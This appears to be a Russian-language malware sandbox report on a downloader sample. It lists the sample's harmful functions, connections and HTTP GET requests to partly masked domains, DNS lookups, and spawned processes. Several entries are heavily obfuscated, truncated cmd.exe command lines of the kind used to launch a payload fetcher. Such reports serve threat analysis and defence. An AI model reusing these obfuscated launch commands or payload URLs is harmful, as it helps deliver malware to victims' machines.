Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c F^oR ; , /^f , " delims=FHE tokens= 2 " ; %^a ; In , ; ( , ' , fTY^^pe ; ^| ; f^^inD , "HCm" , ' , , ) , , ^do ; , %^a, ; BN/VN^uM^TE^h^J^*Da ; , BHQy/r " , , ( , (s^ET ...
Сетевая активность
Подключается к
- 'mi#####t-solutions.com':80
- 'mi#####t-solutions.com':443
- 'pe##y.eu':80
- 'pe##y.eu':443
- 'au####oud.com.br':80
TCP
Запросы HTTP GET
- http://mi#####t-solutions.com/8
- http://pe##y.eu/Vnh1jEQ
- http://au####oud.com.br/XVT
Другие
- 'mi#####t-solutions.com':443
- 'pe##y.eu':443
UDP
- DNS ASK sy#####casoftware.com
- DNS ASK mi#####t-solutions.com
- DNS ASK pe##y.eu
- DNS ASK au####oud.com.br
- DNS ASK gr####sparta.com.ve
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c F^oR ; , /^f , " delims=FHE tokens= 2 " ; %^a ; In , ; ( , ' , fTY^^pe ; ^| ; f^^inD , "HCm" , ' , , ) , , ^do ; , %^a, ; BN/VN^uM^TE^h^J^*Da ; , BHQy/r " , , ( , (s^ET ...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c fTY^pe | f^inD "HCm"
- '<SYSTEM32>\cmd.exe' /S /D /c" fTYpe "
- '<SYSTEM32>\find.exe' "HCm"
- '<SYSTEM32>\cmd.exe' , ; BN/VNuMTEhJ*Da ; , BHQy/r " , , ( , (s^ET ^; =W+i^\^P1Qsj}^)mo^utkSn;^/e5-xXEa^r^'$^wDJ3LhTKy:v, V^.c^(lg0^f^YF@^=bNC^p{d8) )&& ; f^Or , ; %^g ; ; ^in ; (^ ^+5^8 12 30 20...
